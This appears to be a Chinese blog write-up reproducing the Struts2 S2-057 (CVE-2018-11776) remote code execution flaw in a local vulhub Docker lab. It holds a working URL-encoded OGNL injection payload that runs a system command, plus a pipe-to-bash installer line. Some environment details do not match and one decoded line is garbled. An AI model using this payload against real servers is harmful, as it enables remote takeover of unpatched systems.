St2-057 复现

作者: secflag 分类: 渗透测试,漏洞分析 发布时间: 2018-08-23 11:07

漏洞信息

定义XML配置时如果namespace值未设置且上层动作配置(Action Configuration)中未设置或用通配符namespace时可能会导致远程代码执行。

url标签未设置value和action值且上层动作未设置或用通配符namespace时可能会导致远程代码执行。

解决方案

升级至版本2.3.35或2.5.17。这两个版本仅仅只是更新了安全补丁,不存在兼容性问题。

漏洞详情

由于漏洞作者已经发布 就不再复制粘贴 请看链接
原作者 英语 除漏洞详情还介绍了他是如何发现这些漏洞的
漏洞细节中文翻译

复现

搭建struts2

使用docker-composevulhub搭建
如果没有docker
curl https://get.docker.com/ | bash
pip install docker-compose
克隆vulhub并启动

git clone https://github.com/vulhub/vulhub
cd vulhub/struts2/s2-048
docker-compose up -d
docker ps                                                                                                   

可以看到

CONTAINER ID        IMAGE                                 COMMAND                  CREATED             STATUS              PORTS                    NAMES                      
b6eefdb89aad        vulhub/struts2:2.5.12-rest-showcase   "catalina.sh run"        2 minutes ago       Up 2 minutes        0.0.0.0:8080->8080/tcp   s2-052_struts2_1    

搭建漏洞环境

进入docker

docker exec -i -t <你上面显示的CONTAINER ID > /bin/bash

运行

apt-get update -y &&
mkdir /usr/local/tomcat/webapps/test && 
wget https://fossies.org/linux/www/legacy/struts-2.5.16-all.zip &&
apt-get install unzip -y &&
cp struts-2.5.16/apps/struts2-showcase.war  /usr/local/tomcat/webapps/

修改/usr/local/tomcat/webapps/struts2-showcase/WEB-INF/classes/struts-actionchaining.xml/usr/local/tomcat/webapps/struts2-showcase/WEB-INF/src/java/struts-actionchaining.xml文件如下

<struts>
    <package name="actionchaining" extends="struts-default">
        <action name="actionChain1" class="org.apache.struts2.showcase.actionchaining.ActionChain1">
           <result type="redirectAction">
             <param name = "actionName">register2</param>
           </result>
        </action>
    </package>
</struts>

重启服务

cd /usr/local/tomcat/bin/
./shutdown.sh 
# 这个时候你应该退回本机shell了
docker-compose up -d

复现

访问127.0.0.1:8080/struts2-showcase/${(111+111)}/actionChain1.action
会显示到了127.0.0.1:8080/struts2-showcase/222/actionChain1.action

将${(111+111)}替换成expexp  (由jas502n大佬提供)

http://127.0.0.1:8080/struts2-showcase/%24%7b(%23_memberAccess%5b%22allowStaticMethodAccess%22%5d%3dtrue%2c%23a%3d%40java.lang.Runtime%40getRuntime().exec(%27calc%27).getInputStream()%2c%23b%3dnew+java.io.InputStreamReader(%23a)%2c%23c%3dnew++java.io.BufferedReader(%23b)%2c%23d%3dnew+char%5b51020%5d%2c%23c.read(%23d)%2c%23jas502n%3d+%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23jas502n.println(%23d+)%2c%23jas502n.close())%7d/actionChain1.action

拆分

${
(
#_memberAccess["allowStaticMethodAccess"]=true,
#a[email protected].Runtime@getRuntime().exec('calc').getInputStream(),
#b=new java.io.InputStreamReader(#a),
#c=new java.io.BufferedReader(#b),
#d=new char[51020],
#c.read(#d),
#jas502n= @org.apache.struts2.ServletActionContext@getResponse().getWriter(),
#jas502n.println(#d),
#jas502n.close())
}

感谢

https://www.anquanke.com/post/id/157397
https://github.com/jas502n/St2-057
https://lgtm.com/blog/apache_struts_CVE-2018-11776

转载:https://bbs.ichunqiu.com/thread-44733-1-1.html